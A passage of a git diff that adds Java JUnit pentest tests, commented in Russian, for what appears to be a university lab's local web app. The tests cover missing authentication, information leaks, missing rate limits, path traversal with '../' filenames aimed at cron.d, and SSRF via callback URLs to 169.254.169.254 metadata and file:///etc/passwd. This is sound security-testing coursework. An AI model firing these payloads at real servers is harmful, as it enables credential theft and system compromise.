+                "Должно быть общее сообщение типа 'Invalid date format'");
+    }
+
+    @Test
+    @Order(2)
+    @DisplayName("[EXPLOIT] Сообщение об ошибке содержит имя входного значения")
+    void errorMessageContainsInputValue() throws Exception {
+        String maliciousInput = "PROBE_VALUE_12345";
+        HttpResponse<String> response = send("POST",
+                "/recordSession?userId=info_user&loginTime=" + maliciousInput + "&logoutTime=2025-01-01T12:00");
+
+        String body = response.body();
+        // Сообщение об ошибке отражает пользовательский ввод —
+        // это может быть использовано для fingerprinting
+        assertTrue(body.contains(maliciousInput),
+                "Ответ отражает пользовательский ввод в сообщении об ошибке");
+    }
+
+    @Test
+    @Order(3)
+    @DisplayName("[EXPLOIT] Специальные символы в loginTime для извлечения информации")
+    void specialCharsInLoginTimeForInfoExtraction() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/recordSession?userId=info_user&loginTime=" +
+                        enc("2025-01-01T00:00:00.000000000+99:99") +
+                        "&logoutTime=2025-01-01T12:00");
+
+        assertEquals(400, response.statusCode());
+        String body = response.body();
+        // Проверяем, раскрывает ли ответ внутреннюю структуру парсера
+        assertNotNull(body, "Ответ не должен быть пустым");
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: утечка информации через /monthlyActivity
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(4)
+    @DisplayName("[EXPLOIT] Некорректный month раскрывает детали парсинга YearMonth")
+    void invalidMonthLeaksYearMonthDetails() throws Exception {
+        HttpResponse<String> response = send("GET",
+                "/monthlyActivity?userId=info_user&month=INVALID");
+
+        assertEquals(400, response.statusCode());
+        String body = response.body();
+        assertTrue(body.contains("Invalid data:"),
+                "Ответ раскрывает, что используется Java-парсинг для YearMonth");
+    }
+
+    // -------------------------------------------------------------------------
+    // BOUNDARY: корректные данные работают правильно
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(5)
+    @DisplayName("[BOUNDARY] Корректные данные обрабатываются без ошибок")
+    void validDataProcessedCorrectly() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/recordSession?userId=info_user&loginTime=2025-01-01T10:00&logoutTime=2025-01-01T11:00");
+
+        assertEquals(200, response.statusCode());
+        assertTrue(response.body().contains("Session recorded"));
+    }
+
+    @Test
+    @Order(6)
+    @DisplayName("[BOUNDARY] Отсутствие параметров возвращает 400 без утечки")
+    void missingParamsReturns400WithoutLeak() throws Exception {
+        HttpResponse<String> response = send("POST", "/recordSession");
+
+        assertEquals(400, response.statusCode());
+        assertEquals("Missing parameters", response.body(),
+                "Сообщение об отсутствующих параметрах не должно раскрывать внутренности");
+    }
+
+    // -------------------------------------------------------------------------
+    // Вспомогательные методы
+    // -------------------------------------------------------------------------
+
+    private static String enc(String value) {
+        return URLEncoder.encode(value, StandardCharsets.UTF_8);
+    }
+
+    private static HttpResponse<String> send(String method, String path) throws Exception {
+        HttpRequest request = HttpRequest.newBuilder()
+                .uri(URI.create(BASE_URL + path))
+                .method(method, HttpRequest.BodyPublishers.noBody())
+                .build();
+        return http.send(request, HttpResponse.BodyHandlers.ofString());
+    }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/MissingAuthPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/MissingAuthPentestTest.java
new file mode 100644
index 0000000..6e622bd
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/MissingAuthPentestTest.java
@@ -0,0 +1,205 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-306 — Missing Authentication for Critical Function
+ * =============================================================================
+ *
+ * Компонент:   Все эндпоинты
+ * CWE:         CWE-306 (Missing Authentication for Critical Function)
+ * CVSS v3.1:   7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ * Статус:      CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ *   Ни один эндпоинт не требует аутентификации. Любой пользователь может
+ *   выполнять все операции от имени любого другого пользователя, используя
+ *   лишь userId как query-параметр.
+ *
+ * ВЕКТОР АТАКИ:
+ *   1. GET /totalActivity?userId=admin — просмотр данных без авторизации
+ *   2. POST /recordSession?userId=victim&... — запись данных от чужого имени
+ *
+ * ВЛИЯНИЕ:
+ *   - Просмотр данных любого пользователя
+ *   - Модификация данных от имени других пользователей
+ *   - Полное отсутствие разграничения доступа
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ *   - Добавить аутентификацию (JWT, API-ключи)
+ *   - Реализовать авторизацию на уровне ресурсов
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class MissingAuthPentestTest {
+
+    private static final int TEST_PORT = 7781;
+    private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+    private static Javalin app;
+    private static HttpClient http;
+
+    @BeforeAll
+    static void startServer() {
+        app = UserAnalyticsController.createApp();
+        app.start(TEST_PORT);
+        http = HttpClient.newHttpClient();
+    }
+
+    @AfterAll
+    static void stopServer() {
+        app.stop();
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: доступ к данным без аутентификации
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(1)
+    @DisplayName("[EXPLOIT] Регистрация пользователя без аутентификации")
+    void registerWithoutAuth() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/register?userId=auth_victim&userName=VictimUser");
+
+        // УЯЗВИМОСТЬ: любой может зарегистрировать пользователя
+        assertEquals(200, response.statusCode(),
+                "FAIL (ожидаемое поведение): регистрация без аутентификации НЕ должна быть разрешена");
+        assertTrue(response.body().contains("User registered: true"));
+    }
+
+    @Test
+    @Order(2)
+    @DisplayName("[EXPLOIT] Просмотр профиля другого пользователя без аутентификации")
+    void viewOtherUserProfileWithoutAuth() throws Exception {
+        HttpResponse<String> response = send("GET",
+                "/userProfile?userId=auth_victim");
+
+        // УЯЗВИМОСТЬ: доступ к профилю любого пользователя без авторизации
+        assertEquals(200, response.statusCode(),
+                "FAIL (ожидаемое поведение): доступ к чужому профилю без авторизации НЕ должен быть разрешён");
+        assertTrue(response.body().contains("VictimUser"));
+    }
+
+    @Test
+    @Order(3)
+    @DisplayName("[EXPLOIT] Запись сессии от имени другого пользователя")
+    void recordSessionForOtherUser() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/recordSession?userId=auth_victim&loginTime=2025-01-01T00:00&logoutTime=2025-01-01T23:59");
+
+        // УЯЗВИМОСТЬ: можно записать произвольную сессию любому пользователю
+        assertEquals(200, response.statusCode(),
+                "FAIL (ожидаемое поведение): запись сессии для чужого userId НЕ должна быть разрешена");
+        assertTrue(response.body().contains("Session recorded"));
+    }
+
+    @Test
+    @Order(4)
+    @DisplayName("[EXPLOIT] Просмотр активности другого пользователя без аутентификации")
+    void viewOtherUserActivityWithoutAuth() throws Exception {
+        HttpResponse<String> response = send("GET",
+                "/totalActivity?userId=auth_victim");
+
+        // УЯЗВИМОСТЬ: доступ к данным активности без авторизации
+        assertEquals(200, response.statusCode(),
+                "FAIL (ожидаемое поведение): доступ к чужой активности без авторизации НЕ должен быть разрешён");
+        assertTrue(response.body().contains("Total activity"));
+    }
+
+    @Test
+    @Order(5)
+    @DisplayName("[EXPLOIT] Экспорт отчёта другого пользователя без аутентификации")
+    void exportOtherUserReportWithoutAuth() throws Exception {
+        HttpResponse<String> response = send("GET",
+                "/exportReport?userId=auth_victim&filename=stolen.txt");
+
+        // УЯЗВИМОСТЬ: экспорт данных любого пользователя без авторизации
+        assertEquals(200, response.statusCode(),
+                "FAIL (ожидаемое поведение): экспорт чужих данных без авторизации НЕ должен быть разрешён");
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: перебор userId (enumeration)
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(6)
+    @DisplayName("[EXPLOIT] Перебор userId — различные ответы для существующих и несуществующих")
+    void userIdEnumeration() throws Exception {
+        // Сначала регистрируем пользователя
+        send("POST", "/register?userId=enum_user&userName=Test");
+
+        HttpResponse<String> existingUser = send("GET", "/userProfile?userId=enum_user");
+        HttpResponse<String> nonExistingUser = send("GET", "/userProfile?userId=nonexistent_12345");
+
+        // УЯЗВИМОСТЬ: разные статус-коды позволяют перебирать userId
+        assertNotEquals(existingUser.statusCode(), nonExistingUser.statusCode(),
+                "Разные статус-коды для существующих и несуществующих пользователей " +
+                "позволяют перебирать userId");
+    }
+
+    // -------------------------------------------------------------------------
+    // BOUNDARY
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(7)
+    @DisplayName("[EXPLOIT] Эндпоинт /inactiveUsers доступен без аутентификации")
+    void inactiveUsersEndpointAccessibleWithoutAuth() throws Exception {
+        HttpResponse<String> response = send("GET", "/inactiveUsers?days=1");
+
+        // УЯЗВИМОСТЬ: сервер не требует аутентификацию — не возвращает 401/403
+        // (возвращает 500 из-за отсутствия Jackson для ctx.json(), но это отдельный баг)
+        assertNotEquals(401, response.statusCode(),
+                "Сервер не возвращает 401 — аутентификация отсутствует");
+        assertNotEquals(403, response.statusCode(),
+                "Сервер не возвращает 403 — авторизация отсутствует");
+    }
+
+    @Test
+    @Order(8)
+    @DisplayName("[EXPLOIT] /monthlyActivity доступен для чужого userId без авторизации")
+    void monthlyActivityAccessibleWithoutAuth() throws Exception {
+        send("POST", "/register?userId=monthly_victim&userName=MonthlyVictim");
+        send("POST", "/recordSession?userId=monthly_victim&loginTime=2025-01-15T10:00&logoutTime=2025-01-15T11:00");
+
+        HttpResponse<String> response = send("GET",
+                "/monthlyActivity?userId=monthly_victim&month=2025-01");
+
+        // УЯЗВИМОСТЬ: сервер не требует аутентификацию для доступа к чужим данным
+        // (возвращает 400 из-за бага в сервисе, но не 401/403)
+        assertNotEquals(401, response.statusCode(),
+                "Сервер не возвращает 401 — аутентификация отсутствует");
+        assertNotEquals(403, response.statusCode(),
+                "Сервер не возвращает 403 — авторизация отсутствует");
+    }
+
+    // -------------------------------------------------------------------------
+    // Вспомогательные методы
+    // -------------------------------------------------------------------------
+
+    private static String enc(String value) {
+        return URLEncoder.encode(value, StandardCharsets.UTF_8);
+    }
+
+    private static HttpResponse<String> send(String method, String path) throws Exception {
+        HttpRequest request = HttpRequest.newBuilder()
+                .uri(URI.create(BASE_URL + path))
+                .method(method, HttpRequest.BodyPublishers.noBody())
+                .build();
+        return http.send(request, HttpResponse.BodyHandlers.ofString());
+    }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java
new file mode 100644
index 0000000..ea097db
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java
@@ -0,0 +1,181 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-22 — Path Traversal (Arbitrary File Write)
+ * =============================================================================
+ *
+ * Компонент:   GET /exportReport
+ * CWE:         CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
+ * CVSS v3.1:   9.1 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
+ * Статус:      CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ *   Эндпоинт /exportReport принимает параметр filename и конкатенирует его
+ *   с базовой директорией /tmp/reports/ без валидации. Атакующий может
+ *   использовать "../" для записи файла в произвольное место файловой системы.
+ *
+ * ВЕКТОР АТАКИ:
+ *   1. POST /register?userId=user1&userName=Test
+ *   2. GET  /exportReport?userId=user1&filename=../../../etc/cron.d/backdoor
+ *   → файл записывается за пределами директории reports
+ *
+ * ВЛИЯНИЕ:
+ *   - Перезапись конфигурационных файлов
+ *   - Запись cron-задач → RCE
+ *   - Перезапись SSH authorized_keys
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ *   - Валидировать filename: запретить ".." и разделители путей
+ *   - Использовать Path.normalize() + проверку startsWith(baseDir)
+ *   - Генерировать имя файла на сервере (UUID)
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class PathTraversalPentestTest {
+
+    private static final int TEST_PORT = 7778;
+    private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+    private static Javalin app;
+    private static HttpClient http;
+
+    @BeforeAll
+    static void startServer() {
+        app = UserAnalyticsController.createApp();
+        app.start(TEST_PORT);
+        http = HttpClient.newHttpClient();
+    }
+
+    @AfterAll
+    static void stopServer() {
+        app.stop();
+    }
+
+    // -------------------------------------------------------------------------
+    // RECONNAISSANCE: убеждаемся, что эндпоинт работает с обычным filename
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(1)
+    @DisplayName("[RECON] /exportReport принимает обычное имя файла")
+    void exportReportAcceptsNormalFilename() throws Exception {
+        send("POST", "/register?userId=pt_recon&userName=Alice");
+
+        HttpResponse<String> response = send("GET",
+                "/exportReport?userId=pt_recon&filename=report.txt");
+
+        assertEquals(200, response.statusCode());
+        assertTrue(response.body().contains("Report saved to"),
+                "Отчёт должен быть успешно сохранён с обычным именем файла");
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: Path Traversal с ../
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(2)
+    @DisplayName("[EXPLOIT] filename с ../ позволяет выйти за пределы директории")
+    void pathTraversalWithDotDotSlash() throws Exception {
+        send("POST", "/register?userId=pt_user1&userName=Test");
+
+        HttpResponse<String> response = send("GET",
+                "/exportReport?userId=pt_user1&filename=" + enc("../../../tmp/evil.txt"));
+
+        // УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сервер принимает путь с "../" и записывает файл
+        // В безопасном приложении должен быть возвращён 400 или 403
+        assertTrue(response.body().contains("Report saved to"),
+                "FAIL (ожидаемое поведение): запрос с path traversal НЕ должен быть успешным");
+
+        // Проверяем, что путь в ответе выходит за пределы /tmp/reports/
+        assertFalse(response.body().contains("/tmp/reports/../"),
+                "Путь не нормализован — traversal проходит");
+    }
+
+    @Test
+    @Order(3)
+    @DisplayName("[EXPLOIT] filename с обратными слешами (Windows path traversal)")
+    void pathTraversalWithBackslashes() throws Exception {
+        send("POST", "/register?userId=pt_user2&userName=Test");
+
+        HttpResponse<String> response = send("GET",
+                "/exportReport?userId=pt_user2&filename=" + enc("..\\..\\..\\tmp\\evil_win.txt"));
+
+        // На Windows обратные слеши тоже могут использоваться для traversal
+        // Безопасное приложение должно отклонить оба варианта
+        if (response.statusCode() == 200) {
+            assertTrue(response.body().contains("Report saved"),
+                    "FAIL: Windows-style path traversal не должен быть успешным");
+        }
+    }
+
+    @Test
+    @Order(4)
+    @DisplayName("[EXPLOIT] filename с абсолютным путём")
+    void pathTraversalWithAbsolutePath() throws Exception {
+        send("POST", "/register?userId=pt_user3&userName=Test");
+
+        HttpResponse<String> response = send("GET",
+                "/exportReport?userId=pt_user3&filename=" + enc("/tmp/absolute_path_test.txt"));
+
+        // В Java new File("/tmp/reports/" + "/tmp/absolute_path_test.txt")
+        // не даст абсолютный путь, но это всё равно стоит проверить
+        assertNotNull(response.body(), "Ответ не должен быть пустым");
+    }
+
+    // -------------------------------------------------------------------------
+    // BOUNDARY: базовые проверки
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(5)
+    @DisplayName("[BOUNDARY] Отсутствие filename возвращает 400")
+    void missingFilenameReturns400() throws Exception {
+        send("POST", "/register?userId=pt_user4&userName=Test");
+
+        HttpResponse<String> response = send("GET",
+                "/exportReport?userId=pt_user4");
+
+        assertEquals(400, response.statusCode());
+    }
+
+    @Test
+    @Order(6)
+    @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404")
+    void unknownUserReturns404() throws Exception {
+        HttpResponse<String> response = send("GET",
+                "/exportReport?userId=nonexistent&filename=report.txt");
+
+        assertEquals(404, response.statusCode());
+    }
+
+    // -------------------------------------------------------------------------
+    // Вспомогательные методы
+    // -------------------------------------------------------------------------
+
+    private static String enc(String value) {
+        return URLEncoder.encode(value, StandardCharsets.UTF_8);
+    }
+
+    private HttpResponse<String> send(String method, String path) throws Exception {
+        HttpRequest request = HttpRequest.newBuilder()
+                .uri(URI.create(BASE_URL + path))
+                .method(method, HttpRequest.BodyPublishers.noBody())
+                .build();
+        return http.send(request, HttpResponse.BodyHandlers.ofString());
+    }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/RateLimitingPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/RateLimitingPentestTest.java
new file mode 100644
index 0000000..8f02990
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/RateLimitingPentestTest.java
@@ -0,0 +1,169 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-770 — Allocation of Resources Without Limits or Throttling
+ * =============================================================================
+ *
+ * Компонент:   Все эндпоинты
+ * CWE:         CWE-770 (Allocation of Resources Without Limits or Throttling)
+ * CVSS v3.1:   7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ * Статус:      CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ *   Приложение не ограничивает количество запросов от одного клиента.
+ *   Массовые запросы могут исчерпать ресурсы сервера (память, потоки).
+ *   Особенно опасен эндпоинт /notify, блокирующий потоки на исходящих запросах.
+ *
+ * ВЕКТОР АТАКИ:
+ *   1. Массовая регистрация пользователей → исчерпание памяти
+ *   2. Массовые /notify с медленным callbackUrl → блокировка потоков
+ *
+ * ВЛИЯНИЕ:
+ *   - DoS для легитимных пользователей
+ *   - Исчерпание памяти (HashMap без лимита)
+ *   - Блокировка потоков сервера
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ *   - Rate limiting middleware (bucket4j)
+ *   - Лимит на количество пользователей / сессий
+ *   - Асинхронная очередь для webhook-вызовов
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class RateLimitingPentestTest {
+
+    private static final int TEST_PORT = 7782;
+    private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+    private static Javalin app;
+    private static HttpClient http;
+
+    @BeforeAll
+    static void startServer() {
+        app = UserAnalyticsController.createApp();
+        app.start(TEST_PORT);
+        http = HttpClient.newHttpClient();
+    }
+
+    @AfterAll
+    static void stopServer() {
+        app.stop();
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: массовая регистрация без ограничений
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(1)
+    @DisplayName("[EXPLOIT] Массовая регистрация пользователей не ограничена")
+    void massRegistrationNotLimited() throws Exception {
+        int requestCount = 100;
+        int successCount = 0;
+
+        for (int i = 0; i < requestCount; i++) {
+            HttpResponse<String> response = send("POST",
+                    "/register?userId=flood_" + i + "&userName=Bot_" + i);
+            if (response.statusCode() == 200) {
+                successCount++;
+            }
+        }
+
+        // УЯЗВИМОСТЬ: все 100 запросов успешны — нет rate limiting
+        assertEquals(requestCount, successCount,
+                "FAIL (ожидаемое поведение): часть запросов должна быть отклонена rate limiter-ом (429)");
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: параллельные запросы не ограничены
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(2)
+    @DisplayName("[EXPLOIT] Параллельные запросы не ограничены")
+    void concurrentRequestsNotLimited() throws Exception {
+        send("POST", "/register?userId=concurrent_user&userName=Test");
+
+        int parallelRequests = 50;
+        List<CompletableFuture<HttpResponse<String>>> futures = new ArrayList<>();
+
+        for (int i = 0; i < parallelRequests; i++) {
+            HttpRequest request = HttpRequest.newBuilder()
+                    .uri(URI.create(BASE_URL + "/totalActivity?userId=concurrent_user"))
+                    .GET()
+                    .build();
+            futures.add(http.sendAsync(request, HttpResponse.BodyHandlers.ofString()));
+        }
+
+        long successCount = futures.stream()
+                .map(CompletableFuture::join)
+                .filter(r -> r.statusCode() == 200)
+                .count();
+
+        // УЯЗВИМОСТЬ: все параллельные запросы успешны
+        assertEquals(parallelRequests, successCount,
+                "FAIL (ожидаемое поведение): параллельные запросы должны быть ограничены");
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: неограниченная запись сессий приводит к росту памяти
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(3)
+    @DisplayName("[EXPLOIT] Неограниченная запись сессий для одного пользователя")
+    void unlimitedSessionRecording() throws Exception {
+        send("POST", "/register?userId=session_flood&userName=Test");
+
+        int sessionCount = 100;
+        int successCount = 0;
+
+        for (int i = 0; i < sessionCount; i++) {
+            String loginTime = "2025-01-01T" + String.format("%02d", i % 24) + ":00";
+            String logoutTime = "2025-01-01T" + String.format("%02d", i % 24) + ":30";
+
+            HttpResponse<String> response = send("POST",
+                    "/recordSession?userId=session_flood&loginTime=" + loginTime + "&logoutTime=" + logoutTime);
+            if (response.statusCode() == 200) {
+                successCount++;
+            }
+        }
+
+        // УЯЗВИМОСТЬ: все сессии записаны, память растёт без ограничений
+        assertEquals(sessionCount, successCount,
+                "FAIL (ожидаемое поведение): количество сессий на пользователя должно быть ограничено");
+    }
+
+    // -------------------------------------------------------------------------
+    // Вспомогательные методы
+    // -------------------------------------------------------------------------
+
+    private static String enc(String value) {
+        return URLEncoder.encode(value, StandardCharsets.UTF_8);
+    }
+
+    private static HttpResponse<String> send(String method, String path) throws Exception {
+        HttpRequest request = HttpRequest.newBuilder()
+                .uri(URI.create(BASE_URL + path))
+                .method(method, HttpRequest.BodyPublishers.noBody())
+                .build();
+        return http.send(request, HttpResponse.BodyHandlers.ofString());
+    }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java
new file mode 100644
index 0000000..4695b93
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java
@@ -0,0 +1,189 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-918 — Server-Side Request Forgery (SSRF)
+ * =============================================================================
+ *
+ * Компонент:   POST /notify
+ * CWE:         CWE-918 (Server-Side Request Forgery)
+ * CVSS v3.1:   9.1 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+ * Статус:      CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ *   Эндпоинт /notify принимает callbackUrl и выполняет HTTP-запрос к нему
+ *   без валидации. Атакующий может заставить сервер обращаться к внутренним
+ *   сервисам, cloud metadata, или использовать file:// протокол.
+ *
+ * ВЕКТОР АТАКИ:
+ *   1. POST /register?userId=user1&userName=Test
+ *   2. POST /notify?userId=user1&callbackUrl=http://169.254.169.254/latest/meta-data/
+ *   → сервер делает запрос к AWS metadata endpoint
+ *
+ * ВЛИЯНИЕ:
+ *   - Получение cloud credentials через metadata API
+ *   - Сканирование внутренней сети
+ *   - Чтение локальных файлов через file://
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ *   - Allowlist разрешённых доменов
+ *   - Блокировка приватных IP и file:// протокола
+ *   - Сетевая изоляция webhook-вызовов
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class SsrfPentestTest {
+
+    private static final int TEST_PORT = 7779;
+    private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+    private static Javalin app;
+    private static HttpClient http;
+
+    @BeforeAll
+    static void startServer() {
+        app = UserAnalyticsController.createApp();
+        app.start(TEST_PORT);
+        http = HttpClient.newHttpClient();
+        // Регистрируем пользователя для всех тестов
+        try {
+            send("POST", "/register?userId=ssrf_user&userName=Test");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @AfterAll
+    static void stopServer() {
+        app.stop();
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: обращение к localhost
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(1)
+    @DisplayName("[EXPLOIT] SSRF - обращение к localhost через callbackUrl")
+    void ssrfToLocalhost() throws Exception {
+        // Попытка обращения к самому серверу — это базовый SSRF-вектор
+        HttpResponse<String> response = send("POST",
+                "/notify?userId=ssrf_user&callbackUrl=" + enc("http://127.0.0.1:" + TEST_PORT + "/inactiveUsers?days=1"));
+
+        // УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сервер выполняет запрос к себе и возвращает результат
+        // В безопасном приложении внутренние адреса должны быть заблокированы
+        if (response.statusCode() == 200) {
+            assertTrue(response.body().contains("Notification sent"),
+                    "FAIL (ожидаемое поведение): сервер НЕ должен обращаться к localhost");
+        }
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: обращение к приватным IP-адресам
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(2)
+    @DisplayName("[EXPLOIT] SSRF — попытка обращения к приватному IP (10.x.x.x)")
+    void ssrfToPrivateNetwork10() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/notify?userId=ssrf_user&callbackUrl=" + enc("http://10.0.0.1/admin"));
+
+        // Сервер попытается подключиться — получит timeout или connection refused
+        // Важно: сервер НЕ отклоняет запрос на этапе валидации URL
+        assertNotNull(response.body(), "Сервер должен вернуть ответ");
+        // При безопасной реализации запрос должен быть отклонён до попытки подключения
+    }
+
+    @Test
+    @Order(3)
+    @DisplayName("[EXPLOIT] SSRF — попытка обращения к (169.254.169.254)")
+    void ssrfToCloudMetadata() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/notify?userId=ssrf_user&callbackUrl=" + enc("http://169.254.169.254/latest/meta-data/"));
+
+        // В облачном окружении этот запрос вернёт IAM credentials
+        // Сервер не блокирует обращение к metadata endpoint
+        assertNotNull(response.body());
+        // Безопасное приложение должно вернуть 400/403 без попытки подключения
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: file:// протокол
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(4)
+    @DisplayName("[EXPLOIT] SSRF — попытка использования file:// протокола")
+    void ssrfWithFileProtocol() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/notify?userId=ssrf_user&callbackUrl=" + enc("file:///etc/passwd"));
+
+        // java.net.URL поддерживает file:// — сервер попытается прочитать файл
+        // Безопасное приложение должно разрешать только http:// и https://
+        assertNotNull(response.body());
+    }
+
+    // -------------------------------------------------------------------------
+    // BOUNDARY: базовые проверки
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(5)
+    @DisplayName("[BOUNDARY] Отсутствие callbackUrl возвращает 400")
+    void missingCallbackUrlReturns400() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/notify?userId=ssrf_user");
+
+        assertEquals(400, response.statusCode());
+    }
+
+    @Test
+    @Order(6)
+    @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404")
+    void unknownUserReturns404() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/notify?userId=nonexistent&callbackUrl=" + enc("http://example.com"));
+
+        assertEquals(404, response.statusCode());
+    }
+
+    @Test
+    @Order(7)
+    @DisplayName("[BOUNDARY] Отсутствие userId возвращает 400")
+    void missingUserIdReturns400() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/notify?callbackUrl=" + enc("http://example.com"));
+
+        assertEquals(400, response.statusCode());
+    }
+
+    // -------------------------------------------------------------------------
+    // Вспомогательные методы
+    // -------------------------------------------------------------------------
+
+    private static String enc(String value) {
+        return URLEncoder.encode(value, StandardCharsets.UTF_8);
+    }
+
+    private static HttpResponse<String> send(String method, String path) throws Exception {
+        HttpRequest request = HttpRequest.newBuilder()
+                .uri(URI.create(BASE_URL + path))
+                .method(method, HttpRequest.BodyPublishers.noBody())
+                .build();
+        return http.send(request, HttpResponse.BodyHandlers.ofString());
+    }
+}
\ No newline at end of file